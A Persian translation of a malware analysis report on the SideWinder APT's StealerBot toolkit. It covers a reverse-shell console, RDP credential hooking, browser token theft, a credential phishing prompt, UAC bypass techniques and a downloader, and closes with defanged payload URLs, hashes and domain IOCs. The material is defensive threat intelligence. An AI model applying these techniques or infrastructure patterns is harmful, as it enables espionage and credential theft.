ماژول File Stealer فایل‌ها را از دایرکتوری های خاص جمع آوری می‌کند. همچنین درایوهای قابل جابجایی را اسکن می‌کند تا فایل هایی با پسوندهای خاص را به سرقت ببرد. به طور پیش فرض لیست افزونه ها به شرح زیر است:

.ppk,.doc,.docx,.xls,.xlsx,.ppt,.zip,.pdf

بر اساس این مقادیر، می‌توان نتیجه گرفت این ابزار برای انجام فعالیت‌های جاسوسی با جمع‌آوری فایل‌هایی که معمولاً حاوی اطلاعات حساس هستند، مانند اسناد مایکروسافت آفیس، توسعه یافته است. همچنین فایل‌های PPK را جستجو می‌کند، که پسوند فایل‌هایی است که توسط PuTTY برای ذخیره کلیدهای خصوصی ایجاد می‌شود. PuTTY یک کلاینت SSH و Telnet است که معمولاً در سیستم عامل ویندوز برای دسترسی به سیستم های راه دور استفاده می‌شود. اطلاعات سرقتی همچنین شامل اطلاعات درایو محلی و ویژگی‌های فایل می‌شود.

لایو کنسول

این آرشیو برای اجرای فرمان‌های دلخواه روی سیستم دستکاریشده کانفیگ می‌شود. می‌توان از آن به عنوان بک‌آپ غثرفعال، گوش دادن به رابط لوپ‌بک یا بعنوان شل معکوس استفاده کرده که برای دریافت فرمان‌ها به C2 متصل می‌شود. این آرشیو همچنین می‌تواند دستورات سفارشی را که قابلیت‌های زیر را ارائه می‌دهند پردازش کنند:

کشتن خود ماژول یا فرآیندهای زاده آن

دانلود فایل‌های اضافی برای سیستم‌های در معرض خطر

اضافه کردن موارد استثنای ویندوز دیفندر

آلوده کردن سایر کاربران در سیستم محلی آلوده کنید (به امتیازات بالایی نیاز دارد)

دانلود و اجرای برنامه‌های HTML راه دور

لود ماژول‌های دلخواه و گسترش قابلیت‌های بدافزار

برخلاف سایر ماژول ها، Live Console مستقیماً با یک C2 که آدرس آن در کد ماژول تعبیه شده است ارتباط برقرار می‌کند. به‌طور پیش‌فرض، بدافزار یک فرآیند جدید cmd.exe  را شروع می‌کند، داده‌های دریافتی از مهاجم را به ورودی استاندارد خود ارسال و خروجی فرآیند یا خط لوله خطا را به مهاجم ارسال می‌کند.

 

اگر سیستم‌عامل آلوده جدید باشد، یعنی نسخه‌ی بیلد ویندوز 10 بزرگ‌تر یا مساوی «17763» باشد، بدافزار یک شبه کنسول برای راه‌اندازی cmd.exe ایجاد می‌کند. در غیر این صورت، همان برنامه را با استفاده از کلاس  Process مشخص شده در  System.Diagnostics  راه اندازی می‌کند. قبل از ارسال دستور به کنسول، بدافزار بررسی می‌کند که آیا اولین بایت از داده‌های دریافتی دارای مقدار خاصی است که نشان دهنده وجود یک دستور سفارشی است یا خیر. در زیر لیستی از این مقادیر (شناسه فرمان) با توضیحاتی در مورد دستوراتی که آنها شناسایی می‌کنند آورده شده است.

سازه ویندوز

آی‌دی فرمان

شرح

<  17763

3

کشتن همه فرآینده‌های زاده‌شده

 <  17763

4

کشتن ماژول فعلی. ارسال آی‌دی پیام 2 به ارکستراتور برای آنلود کردن خود ماژول

 <  17763

16

آپلود فایل در سیستم آلوده

>=  17763

1

آلوده کردن کاربری که به طور فعلی لاگین کرده

>=  17763

2

دریافت کاربری که به طور فعلی لاگین کرده

>=  17763

3

دانلود و اجرای ریموت اپ HTML

>=  17763

4

افزودن دایرکتوری‌ها به اکسکلوژن‌های  AV 

>=  17763

5

لود کردن پلاگین

 

اکثر دستورات، خود توضیح هستند. می‌خواهیم چند کلمه به دستور با شناسه «1» اضافه کنیم، که برای آلوده کردن سایر کاربران در همان سیستم که نمایه‌شان هنوز «پاک» است استفاده می‌شود. بدافزار با ایجاد یک کپی از نمونه ها در فهرست کاربر هدف، کاربر را آلوده و یک مقدار رجیستری جدید برای اطمینان از پایداری ایجاد می‌کند.

این دستور جالب است زیرا در صورت بروز یک خطای خاص، ربات با پیام زیر پاسخ می‌دهد:

Infected User is already logged in, use install dynx command from stealer bot

for installation

در حال حاضر، معلوم نیست که فرمان dynx چه چیزی را نشان می‌دهد، اما نام استیلربات در این پیام و نام منبع تعبیه شده در  ModuleInstaller،  StealerBot_CppInstaller ما را به این نتیجه رساند که مهاجم نام این بدافزار را StealerBot گذاشته است.

سارق داده‌های محرمانه RDP

این ماژول متشکل است از اجزای مختلف: آرشیو a .NET، شل‌کد و آرشیو C++. کارش نظارت پروسه‌های در حال اجرا و تزریق کد مخرب به mstsc.exe برای سرقت اطلاعات محرمانه RDP است.

Mstsc.exe فرآیند «کارفرمای سرویس پایانه مایکروسافت[3]» است که مشتری RDP پیش‌فرض در ویندوز است. بدافزار ایجاد یا خاتمه فرآیندهای با نام mstsc.exe  را نظارت می‌کند. هنگامی که یک رویداد ایجاد جدید شناسایی می‌شود، بدافزار یک لوله جدید با نام ثابت  c63hh148d7c9437caa0f5850256ad32c ایجاد و کد مخرب را به حافظه پردازش جدید تزریق می‌کند. کد تزریق‌شده شامل بارهای مختلفی است که به عنوان منابع در ماژول تعبیه شده می‌شود. محموله‌ها در زمان اجرا با توجه به معماری سیستم انتخاب و قبل از تزریق ادغام می شوند. کد تزریق شده یک کد پوسته است که کتابخانه مخرب دیگری به نام  mscorlib را بارگیری می‌کند، که به C++  نوشته شده است تا اعتبار RDP را با اتصال توابع خاص کتابخانه ویندوز  SspiCli.dll  به سرقت ببرد. به نظر می‌رسد کد کتابخانه بر اساس پروژه‌های منبع باز موجود در گیت‌هاب است. از بسته Detours مایکروسافت برای افزودن یا حذف قلاب‌ها یا هوک‌ها به عملکردهای زیر استفاده می‌کند:

SspiPrepareForCredRead;

CryptProtectMemory;

این سه تابع به ترتیب برای به دست آوردن نام سرور، رمز عبور و نام کاربری قلاب شده اند. داده‌های دزدیده شده با استفاده از لوله‌ای که قبلا ایجاد شده با نام  c63hh148d7c9437caa0f5850256ad32c به ماژول اصلی ارسال می‌شود.

دریافت‌کننده توکن

این ماژول یک کتابخانه دات‌نت است که برای سرقت کوکی‌های مرورگر گوگل کروم و توکن های احراز هویت مربوط به فیسبوک، لینکدین و سرویس‌های گوگل (جیمیل، گوگل درایو و غیره) طراحی شده است. وابستگی‌های کد زیادی دارد و با بارگیری کتابخانه‌های قانونی و امضاشده اضافی که از عملکردهای آن استفاده می‌کند، شروع می‌شود. این کتابخانه‌ها به طور پیش فرض در سیستم در معرض خطر وجود ندارند، بنابراین بدافزار باید آنها را رها کرده و بارگذاری کند تا به درستی کار کنند.

آرشیو

هش

شرح

Newtonsoft.Json

52a7a3100310400e4655fb6cf204f024

فریم ورک محبوب JSON با کارایی بالا برای دات نت

System.Data.SQLite

fcb2bc2caf7456cd9c2ffab633c1aa0b

ارائه‌دهنده ADO.NET  برای SQLite

SQLite_Interop_x64.dll

 

1b0114d4720af20f225e2fbd653cd296

کتابخانه‌ای برای معماری‌های 64 بیتی مورد نیاز System.Data.SQLite برای درست کار کردن

SQLite_Interop_x86.dll

f72f57aa894f7efbef7574a9e853406d

کتابخانه‌ای برای معماری‌های 32 بیتی مورد نیاز System.Data.SQLite برای درست کار کردن

 

فیشر اطلاعات محرمانه

این ماژول سعی دارد الطلاعات محرمانه ویندوزیِ کاربر را با نمایش پرامپت فیشینگ که برای فریب او طراحی شده، جمع کند. بدافزار مشابه سارق داده محرمانه‌ی RDP، یک لوله جدید ایجاد می‌کند (a21hg56ue2c2365cba1g9840256ad31c )و کد پوسته مخرب را به یک فرآیند هدفمند، در این مورد  explorer.exe  تزریق می‌کند. کد پوسته یک کتابخانه مخرب به نام credsphisher.dll را که از تابع ویندوز CredUIPromptForWindowsCredentialsW  برای نمایش یک درخواست فیشینگ به کاربران فعلی و فریب قربانیان برای وارد کردن اعتبار ویندوز خود استفاده می‌نماید بارگیری می‌کند.  هنگامی که کاربر اعتبارنامه را وارد می‌کند، بدافزار از عملکرد  LogonUserW برای بررسی درستی نام کاربری و رمز عبور ارائه شده استفاده می‌کند. اگر کاربر اعتبارنامه‌های نادرست وارد کند، بدافزار به نمایش درخواست ادامه می‌دهد تا زمانی که یک رمز عبور معتبر دریافت کند. در نهایت، پس از تأیید اعتبار موفقیت آمیز، بدافزار نام میزبان رایانه، نام کاربری و رمز عبور را در لوله‌ای که قبلاً ایجاد شده است به نام  a21hg56ue2c2365cba1g9840256ad31c می‌نویسد.

UACBypass

این ماژول یک کتابخانه دات‌نت است که برای دور زدن UAC و اجرای کدهای مخرب با امتیازات بالا طراحی شده است. این کتابخانه می‌تواند با استفاده از تکنیک‌های مختلف بای‌پس، که با توجه به نسخه ویندوز و راه‌حل امنیتی نصب‌شده روی دستگاه آلوده انتخاب شده، به هدف خود دست یابد. این بدافزار منابع مختلفی را در خود جای می‌دهد که حاوی بارهای مختلف است که در طول اجرای بدافزار استفاده می شود.

قبل از شروع اجرای خود، بدافزار شرایط خاصی را در سیستم بررسی می‌کند، یعنی اینکه ارتفاع UAC به اعتبار مدیریت نیاز ندارد و اینکه کاربر آلوده به گروه  Administrator تعلق دارد. اگر هر دو شرط رعایت شود، بدافزار نسخه ویندوز را بررسی و برخی از مصنوعات را با توجه به مقادیر به دست آمده حذف می‌کند. هدف اصلی این کامپوننت اجرای منبعی به نام Module  است که یک دانلودر با امتیازات بالاست. بدافزار سعی می‌کند از تکنیک‌های مختلف بای پس UAC استفاده کند که با توجه به راهکار امنیتی نصب‌شده انتخاب می‌شوند. به طور پیش فرض، سعی می‌کند از برنامه CMSTP  (نصب کننده پروفایل مدیر اتصال ویندوز) سوء استفاده کند. این برنامه قانونی با تکنیکی که در سال 2017 کشف شد مورد سوء استفاده قرار می‌گیرد، جایی که مهاجم می تواند یک نمایه سفارشی را برای اجرای دستورات دلخواه با امتیاز بالا ارسال کند. تکنیک دور زدن پیش‌فرض در همه سیستم‌ها بجز سیستم‌هایی که توسط Kaspersky یا 360 Total Security محافظت می‌شوند استفاده می‌شود.

اگر این راهکارهای امنیتی شناسایی شوند، بدافزار سعی می‌کند از تکنیک بای پس UAC جدیدتری که در سال 2022 کشف شد، استفاده کند که از شی COM "IElevatedFactoryServer"  سوء استفاده می‌کند. در این مورد، بدافزار کد پوسته مخرب را به explorer.exe  تزریق می‌کند. کد پوسته یک کتابخانه مخرب را بارگیری و اجرا می‌کند که در منبعی به نام  COMUacBypass ذخیره شده است. این کتابخانه از شیء COM "IElevatedFactoryServer" برای ثبت یک وظیفه جدید ویندوز با بالاترین امتیازات استفاده نموده و به مهاجم اجازه می دهد تا دستور اجرای بار حذف شده را با امتیازات بالا اجرا کند. در طول تجزیه و تحلیل استاتیک ماژول "UACBypass" ما متوجه وجود کدی شدیم که فراخوانی یا اجرا نشده است.

به طور خاص، ما متوجه روشی به نام KasperskyUACBypass  شدیم که تکنیک بای پس دیگری را پیاده سازی می‌کند که احتمالاً در گذشته زمانی که سیستم توسط نرم افزار ضد بدافزار Kaspersky محافظت می‌شد، استفاده می‌شد. این روش تکنیک دور زدن را پیاده سازی می‌کند که کارش اکسپلویت برنامه قانونی ویندوز slui.exe است.. برای فعال کردن و ثبت سیستم عامل با یک کلید محصول معتبر استفاده می شود، اما مستعد ضعف مدیریت فایل در ربودن است. تکنیک ربودن در سال 2020 توصیف شد و بر اساس اصلاح کلیدهای رجیستری خاص ویندوز است. بر اساس مقادیر ایجاد شده، معتقدیم که مهاجم کد خود را بر اساس اثبات مفهوم موجود در GitHub استوار کرده است.

 

ماژول همچنین شامل دو منبع است که منحصراً توسط این کد استفاده می‌شود:

 

VmComputeAgent

VmComputeAgent_exe

1

2

VmComputeAgent

VmComputeAgent_exe

اولین برنامه یک برنامه بسیار ساده است که با ConfuserEx بسته بندی شده است، که فرآیند جدیدی را آغاز می‌کند: "%systemroot%\System32\slui.exe" به عنوان مدیر.

دومی یک مانیفست XML است.

دانلودر

این کتابخانه یک دانلودکننده است که در C++  توسعه یافته است و تلاش می‌کند تا سه پی لود را با استفاده از URLهای مختلف بازیابی کند.

hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/bf7dy/111e9a21?name=inpl64

hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/0ywcg/4dfc92c?name=stg64

hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/3ysvj/955da0ae?name=rflr

متأسفانه، ما نتوانستیم پاسخ معتبری از سرور دریافت کنیم، اما با توجه به متغیر  name در داخل URL و منطق اجزای مختلف مشاهده شده در طول بررسی، می‌توان نتیجه گرفت که هر مقدار   name  احتمالاً نشان دهنده هدف واقعی فایل است.

متغیر

شرح

?name=inpl64

ایمپلنت برای معماری‌های 64 بیتی

?name=stg64

مراحل معماری‌های 64 بیتی

?name=rlfr

لودر انعکاسی

 

داده‌های دانلودشده در یک پی‌لود نهایی با ساخت زیر ترکیب می‌شوند:

stg64+ <size of rlfr+inpl64+8> +rlfr+ <delimiter> +inpl64

در نهایت، بدافزار محموله را در حافظه بارگذاری کرده و آن را اجرا می‌کند. روش اجرا با توجه به نسخه ویندوز انتخاب می شود. در سیستم‌های قبل از ویندوز 10، این بدافزار یک منطقه حافظه با مجوزهای خواندن، نوشتن و اجرا را اختصاص می‌دهد، پی‌لود از قبل تولیدشده را در منطقه جدید کپی می‌کند و مستقیماً اولین آدرس را فراخوانی می‌کند. در سیستم‌های جدیدتر، بدافزار فضای حافظه بزرگ‌تری را اختصاص می‌دهد و یک کد پوسته کوچک واقع در بخش.data  را به بار نهایی اضافه می‌کند. سپس بدافزار تصویر kernel32 را در حافظه اصلاح  و تابع LoadLibraryA را برای هدایت جریان اجرا به پوسته‌کد کوچک کپی‌شده در ناحیه اختصاص‌یافته، قلاب می‌کند. در نهایت، تابع  LoadLibraryA را فراخوان نموده و آرگومان  aepic.dllرا ارسال می کند. پوسته کوچک 8 بایت اول آرگومان دریافتی را با رشته ثابت  aepic.dl مقایسه می‌کند و اگر بایت ها مطابقت داشته باشند، به پوسته کد دانلود شده  stg64 می‌پرد. در غیر این صورت، به تابع واقعی LoadLibraryA  می پرد.

نصب‌گرها

در طول بررسی ما دو مؤلفه دیگر پیدا کردیم که نصب کننده‌هایی هستند برای استقرار StealerBot در سیستم‌ها. ما آنها را در طول زنجیره عفونت مشاهده نکردیم. آنها احتمالاً برای نصب نسخه های جدید بدافزار یا استقرار بدافزار در زمینه های مختلف در یک دستگاه استفاده می‌شوند. به عنوان مثال، برای آلوده کردن کاربر دیگر.

پی‌لود نصب‌گر

اولین مؤلفه یک کتابخانه توسعه یافته در  C++ است که به عنوان یک بارگذار عمل می‌کند. کد بسیار شبیه به مؤلفه  Downloader  است که در ماژول بای پس UAC مشاهده شده. این کتابخانه حاوی بارهای مختلفی است که در زمان اجرا به یکدیگر متصل شده و به فرآیند  spoolsv.exe از راه دور تزریق می‌شوند. بار تزریق شده به طور انعکاسی کتابخانه‌ای به نام  InstallerPayload.dll  نوشته شده در C++ را بارگیری می‌کند تا اجزای اضافی را دانلود و با ایجاد یک سرویس جدید ویندوز، پایداری آنها را حفظ کند. بدافزار به گونه ای پیکربندی شده است که فایل ها را از یک URL از پیش تعریف شده با استفاده از WinHTTP دانلود کند. فایل خاصی که باید دانلود شود با یک متغیر "نام" درخواست می‌شود که در تمام درخواست های GET گنجانده شده است. هر فایل در یک مکان خاص دانلود می‌شود:

 

نام فایل خاص با توجه به نسخه ویندوز تغییر می‌کند.

 

اگر سازه ویندوز کمتر از 10240 باشد (ویندوز 10 بیلد 10240)، بدافزار فایل های زیر را نصب می‌کند:

 

%systemroot%\srclinks\write.exe

%systemroot%\srclinks\propsys.dll

%systemroot%\srclinks\write.exe.config

%systemroot%\srclinks\vm3dservice.exe

%systemroot%\srclinks\winmm.dll

در غیر این صورت:

 

%systemroot%\srclinks\fsquirt.exe

%systemroot%\srclinks\devobj.dll

%systemroot%\srclinks\fsquirt.exe.config

%systemroot%\srclinks\vm3dservice.exe

%systemroot%\srclinks\winmm.dll

این بدافزار همچنین یک سرویس جدید ویندوز به نام  srclink ایجاد می‌کند تا اطمینان حاصل کند که فایل‌های دانلود شده می توانند به طور خودکار هنگام راه اندازی مجدد سیستم شروع شوند.

این سرویس به گونه ای پیکربندی شده است که به طور خودکار شروع به کار کرده و برنامه زیر را اجرا کند:

 

C:\WINDOWS\srclinks\vm3dservice.exe

1

C:\WINDOWS\srclinks\vm3dservice.exe

این فایل یک برنامه قانونیست که به صورت دیجیتالی توسط VMware امضا شده و مهاجم برای بارگذاری کتابخانه مخرب winmm.dll  از آن استفاده می‌کند. این بخشی از مکانیزم تداوم ایجادشده توسط مهاجم است. سرویس ویندوزی مخرب تولیدشده از طریق جزء InstallerPayload برای لانچ برنامه دیگر (در صورت کار نکردن سرویس) کانفیگ شده.

InstallerPayload_NET

این یکی دیگر از کتابخانه دات‌نت است که اقدامات مشابه InstallerPayload را که قبلاً در C++ توسعه یافته بود، انجام می‌دهد. تفاوت اصلی این است که این بدافزار بیشتر فایل‌ها را به عنوان منبع جاسازی می‌کند.

 

این کتابخانه ای است که در C++  توسعه یافته و  SyncBotServiceHijack.dll  نام دارد که تمام توابع را که معمولاً توسط کتابخانه قانونی winmm.dll واقع در دایرکتوری system32 صادر می‌شود صادر می‌کند. همه توابع به تابعی اشاره می‌کنند که به مدت 10 ثانیه می‌خوابد و سپس یک خطای سیگنال ایجاد کرده و اجرا را خاتمه می‌دهد.

زیرساخت

مهاجم دامنه‌های متعددی را با استفاده از Hostinger، Namecheap و Hosting Concepts به عنوان ارائه دهنده ثبت کرده است. آنها معمولاً بدافزار را برای برقراری ارتباط با FQDN با استفاده از زیر دامنه‌های خاص با نام‌هایی که مشروع به نظر می‌رسند و احتمالاً برای ارتباط با هدف انتخاب شده‌اند، پیکربندی می‌کنند. به عنوان مثال، زیر مجموعه کوچکی از زیر دامنه های مورد استفاده توسط مهاجم است.

 

nextgen[.]paknavy-govpk[.]net

premier[.]moittpk[.]org

cabinet-division-pk[.]fia-gov[.]com

navy-lk[.]direct888[.]net

srilanka-navy[.]lforvk[.]com

portdjibouti[.]pmd-office[.]org

portdedjibouti[.]سیاست حمل و نقل[.]اطلاعات

mofa-gov-sa[.]direct888[.]net

mod-gov-bd[.]direct888[.]net

mmcert-org-mm[.]donwloaded[.]com

opmcm-gov-np[.]fia-gov[.]net

هر دامنه و زیر دامنه های مربوط به آن با یک آدرس IP اختصاصی حل می شوند. C2 ها بر روی یک VPS که منحصراً توسط مهاجم استفاده می شود، میزبانی می شوند، اما برای مدت بسیار کوتاهی از ارائه دهندگان مختلف اجاره می شوند. مهاجم از ارائه‌دهندگان خدمات مختلفی استفاده می‌کند، اما HZ Hosting، BlueVPS و GhostNET را ترجیح می‌دهد.

قربانیان

SideWinder نهادها را در کشورهای مختلف هدف قرار داده است: بنگلادش، جیبوتی، اردن، مالزی، مالدیو، میانمار، نپال، پاکستان، عربستان سعودی، سریلانکا، ترکیه و امارات متحده عربی. بخش‌های هدف شامل نهادهای دولتی و نظامی، لجستیک، زیرساخت‌ها و شرکت‌های مخابراتی، مؤسسات مالی، دانشگاه‌ها و شرکت‌های بازرگانی نفت است. مهاجم همچنین نهادهای دیپلماتیک را در کشورهای زیر هدف قرار داد: افغانستان، فرانسه، چین، هند، اندونزی و مراکش.

نسبت‌دهی

ما با اطمینان متوسط/بالا این فعالیت‌ها را به گروه APT سایدویندر (SideWinder) نسبت می‌دهیم. زنجیره عفونت مشاهده‌شده در این حملات با آن‌هایی که در گذشته مشاهده شدند در تطابق است. مشخصاً، تکنیک‌های زیر با فعالیت  SideWinder تشابه دارند.

  • استفاده از تزریق ریموت قالب که برای دانلود فایل‌های RTF به نام file.rtf سوءاستفاده می‌شد و برای اکسپویت CVE-2017-11882 به کار می‌رفت.
  • طرح نامگذاری استفاده‌شده برای زیردامنه‌های مخرب که تلاش دارد از دامنه‌های قانونی که برای تارگت‌ها اهمیت دارند تقلید کند.
  • جزء دانلودر .NET و ماژول لودر بک‌در با آن‌هایی که در گذشته شرح داده شدند تشابه دارد.
  • نکته آخر که از بقیه شاید اهمیتش حتی بیشتر هم باشد، بیشتر نهادهایی که توسط این گروه هدف قرار گرفته شدند شبیه به آن‌هایی هستند که در گذشته SideWinder بهشان حمله کرده بود.

IOCs

داکیومنت‌های مخرب

6cf6d55a3968e2176db2bba2134bbe94
c87eb71ff038df7b517644fa5c097eac
8202209354ece5c53648c52bdbd064f0
5cc784afb69c153ab325266e8a7afaf4
3a6916192106ae3ac7e55bd357bc5eee
54aadadcf77dec53b2566fe61b034384
8f83d19c2efc062e8983bce83062c9b6
8e8b61e5fb6f6792f2bee0ec947f1989
86eeb037f5669bff655de1e08199a554
1c36177ac4423129e301c5a40247f180
873079cd3e635adb609c38af71bad702
423e150d91edc568546f0d2f064a8bf1
4a5e818178f9b2dc48839a5dbe0e3cc1

RTF

26aa30505d8358ebeb5ee15aecb1cbb0
3233db78e37302b47436b550a21cdaf9
8d7c43913eba26f96cd656966c1e26d5
d0d1fba6bb7be933889ace0d6955a1d7
e706fc65f433e54538a3dbb1c359d75f

LNK

412b6ac53aeadb08449e41dccffb1abe දින සංශෝධන කර ගැනිම .lnk
2f4ba98dcd45e59fca488f436ab13501 Special Envoy Speech at NCA.jpg .lnk

لودر بک‌در

propsys.dll
b69867ee5b9581687cef96e873b775ff
c3ce4094b3411060928143f63701aa2e
e1bdfa55227d37a71cdc248dc9512296
ea4b3f023bac3ad1a982cace9a6eafc3
44dbdd87b60c20b22d2a7926ad2d7bea
7e97cbf25eef7fc79828c033049822af

vsstrace.dll
101a63ecdd8c68434c665bf2b1d3ffc7
d885df399fc9f6c80e2df0c290414c2f
92dd91a5e3dfb6260e13c8033b729e03
515d2d6f91ba4b76847301855dfc0e83
3ede84d84c02aa7483eb734776a20dea
2011658436a7b04935c06f59a5db7161

استیلر بات

3a036a1846bfeceb615101b10c7c910e    ارکستریتور

47f51c7f31ab4a0d91a0f4c07b2f99d7  کی‌لاگر

f3058ac120a2ae7807f36899e27784ea  گیرنده اسکرین‌شات

0fbb71525d65f0196a9bfbffea285b18   سارق فایل

1ed7ad166567c46f71dc703e55d31c7a    کنسول لایو

2f0e150e3d6dbb1624c727d1a641e754 سارق داده RDP

bf16760ee49742225fdb2a73c1bd83c7      سارق داده RDP-  تزریقی

b3650a88a50108873fc45ad3c249671a دریافت‌کننده توکن

4c40fcb2a12f171533fc070464db96d1  فیشر اطلاعات محرمانه

eef9c0a9e364b4516a83a92592ffc831    UACBypass

SyncBotServiceHijack.dll

1be93704870afd0b22a4475014f199c3

سرقت سرویس

f840c721e533c05d152d2bc7bf1bc165 Manage.exe

Backdoor Loader devobj.dll

5718c0d69939284ce4f6e0ce580958df

دامنه‌ها و آی‌پی‌ها

126-com[.]live
163inc[.]com
afmat[.]tech
alit[.]live
aliyum[.]tech
aliyumm[.]tech
asyn[.]info
ausibedu[.]org
bol-south[.]org
cnsa-gov[.]org
colot[.]info
comptes[.]tech
condet[.]org
conft[.]live
dafpak[.]org
decoty[.]tech
defenec[.]net
defpak[.]org
detru[.]info
dgps-govpk[.]co
dgps-govpk[.]com
dinfed[.]co
dirctt88[.]co
dirctt88[.]net
direct888[.]net
direct88[.]co
directt888[.]com
donwload-file[.]com
donwloaded[.]com
donwloaded[.]net
dowmload[.]net
downld[.]net
download-file[.]net
downloadabledocx[.]com
dynat[.]tech
dytt88[.]org
e1ix[.]mov
e1x[.]tech
fia-gov[.]com
fia-gov[.]net
gov-govpk[.]info
govpk[.]info
govpk[.]net
grouit[.]tech
gtrec[.]info
healththebest[.]com
jmicc[.]xyz
kernet[.]info
kretic[.]info
lforvk[.]com
mfa-gov[.]info
mfa-gov[.]net
mfa-govt[.]net
mfacom[.]org
mfagov[.]org
mfas[.]pro
mitlec[.]site
mod-gov-pk[.]live
mofa[.]email
mofagovs[.]org
moittpk[.]net
moittpk[.]org
mshealthcheck[.]live
nactagovpk[.]org
navy-mil[.]co
newmofa[.]com
newoutlook[.]live
nopler[.]live
ntcpak[.]live
ntcpak[.]org
ntcpk[.]info
ntcpk[.]net
numpy[.]info
numzy[.]net
nventic[.]info
office-drive[.]live
pafgovt[.]com
paknavy-gov[.]org
paknavy-govpk[.]info
paknavy-govpk[.]net
pdfrdr-update[.]com
pdfrdr-update[.]info
pmd-office[.]com
pmd-office[.]live
pmd-office[.]org
ptcl-net[.]com
scrabt[.]tech
shipping-policy[.]info
sjfu-edu[.]co
support-update[.]info
tazze[.]co
tex-ideas[.]info
tni-mil[.]com
tsinghua-edu[.]tech
tumet[.]info
u1x[.]co
ujsen[.]net
update-govpk[.]co
updtesession[.]online
widge[.]info

 

[1] Backdoor loader module

[2] Jump if not zero

[3] Microsoft Terminal Service Client

کسپرسکی آنلاین (ایدکو)

کسپرسکی اسم یکی از بزرگترین شرکتهای امنیتی و سازنده آنتی ویروس است که برخی از کاربران اشتباهاً این شرکت و محصولات آنتی ویروس آن را با عناوینی نظیر کسپرسکای،کاسپرسکی، کسپراسکای، کسپراسکای، و یا کاسپراسکای نیز می‌شناسد. همچنین لازم به ذکر است مدیرعامل این شرکت نیز یوجین کسپرسکی نام دارد.

 

 

 

محصولات مرتبط

  • Kaspersky Internet Security for Android

    امنیت پیشرفته‌ای که همیشه همراه شماست بخش مهمی از زندگی اکثر ما اکنون روی گوشی‌ها و تبلت‌هاست- پس به امنیت موبایلی نیاز دارید که شما را همیشه امن نگه ...

    7,710,150 ریال
    خرید
  • Kaspersky Cloud Password Manager

    Kaspersky Cloud Password Manager ابزار مدیریت کلمه عبور ابری کسپرسکی (KCPM) ضمن ذخیره ایمن تمامی کلمات عبور مورد استفاده شما برای وبسایت‌ها، اپلیکیشن‌ها، و شبکه‌های اجتماعی آنها را در تمامی ...

    11,568,900 ریال
    خرید
  • Kaspersky Safe Kids

    اپلیکیشن همه‌کاره برای فرزندپروریِ دیجیتال و سلامت خانواده نرم افزار امنیت کودکان کسپرسکی، نظارت‌های والدین را آسان می‌کند. ردیابی مکان و عادات دستگاه، محدودسازی محتوا، متعادل‌سازی ...

    1,156,890 ریال11,568,900 ریال
    خرید
  • Kaspersky Security Cloud Personal

    تمام اپ‌های امنیتیِ ما در دستانتان. به کل خانواده‌ی اپ‌های ما برای دسکتاپ و موبایل دسترسی پیدا کنید. از آنتی‌ویروس گرفته تا ابزارهای حریم خصوصی و اجرایی، هر کدام را به میل ...

    77,167,650 ریال
    خرید
  • Kaspersky Standard

    سیستم امنیتی بهبودیافته به همراه تقویت‌کننده عمکرد دستگاه طرح امنیتی استاندارد ما، نه تنها سیستم امنیتی قدرتمندی را برای انواع ویروس‌ها، بدفزارها و باج‌افزارها ارائه می‌دهد ...

    10,914,750 ریال21,829,500 ریال
    خرید
  • Kaspersky Plus

    امنیت. کارایی. حریم خصوصی. همه در یک برنامه با کاربری آسان کسپرسکی پلاس با ارائه امنیت سایبری نسل بعد، شما در برابر ویروس‌ها، باج‌افزارها و بدافزارهای جدید محافظت کند - بدون ...

    15,651,825 ریال31,303,650 ریال
    خرید
  • Kaspersky Premium

    حفاظت کامل از دستگاه ها، حریم خصوصی و هویت شما با محصول Kaspersky Premium تمام نیازهای امنیتی خود و خانواده‌تان را پوشش دهید. حفاظت پیشرفته ...

    16,743,300 ریال33,486,600 ریال
    خرید
  • Kaspersky Small Office Security

    محافظت در حین کار Kaspersky Small Office Security به طور خاص برای سازمان‌هایی طراحی شده است که 5 تا 50 دستگاه کامپیوتر در خود جای داده‌اند. نصب آن بسیار آسان است؛ مدیریت آن ...

    69,453,825 ریال138,907,650 ریال
    خرید
  • Kaspersky Small Office Security

    امنیت ادارات کوچک

    222,256,650 ریال
    خرید
  • Kaspersky Small Office Security

    امنیت ادارات کوچک

    83,345,325 ریال166,690,650 ریال
    خرید
  • Kaspersky Small Office Security

    267,018,150 ریال
    خرید
  • Kaspersky Small Office Security

    97,236,825 ریال194,473,650 ریال
    خرید
  • Kaspersky Small Office Security

    311,007,900 ریال
    خرید
  • Kaspersky Small Office Security

    111,128,325 ریال222,256,650 ریال
    خرید
  • Kaspersky Small Office Security

    355,769,400 ریال
    خرید
  • Kaspersky Small Office Security

    125,019,825 ریال250,039,650 ریال
    خرید
  • Kaspersky Small Office Security

    399,759,150 ریال
    خرید
  • Kaspersky Small Office Security

    127,335,075 ریال254,670,150 ریال
    خرید
  • Kaspersky Small Office Security

    407,476,650 ریال
    خرید
  • Kaspersky Small Office Security

    179,428,200 ریال358,856,400 ریال
    خرید
  • Kaspersky Small Office Security

    574,174,650 ریال
    خرید
  • Kaspersky Small Office Security

    231,521,325 ریال463,042,650 ریال
    خرید
  • Kaspersky Small Office Security

    740,872,650 ریال
    خرید
  • Kaspersky Small Office Security

    279,755,700 ریال559,511,400 ریال
    خرید
  • Kaspersky Small Office Security

    895,222,650 ریال
    خرید
  • Kaspersky Small Office Security

    530,574,450 ریال1,061,148,900 ریال
    خرید
  • Kaspersky Small Office Security

    1,697,842,650 ریال
    خرید

نظر خودتان را ارسال کنید


کاربر گرامی چنانچه تمایل دارید، نقد یا نظر شما به نام خودتان در سایت ثبت شود، لطفاً وارد سایت شوید.
*نظر
کلیه حقوق مادی و معنوی این سایت محفوظ و متعلق به شرکت گسترش خدمات تجارت الکترونیک ایرانیان است و هر گونه کپی برداری از آن پیگرد قانونی دارد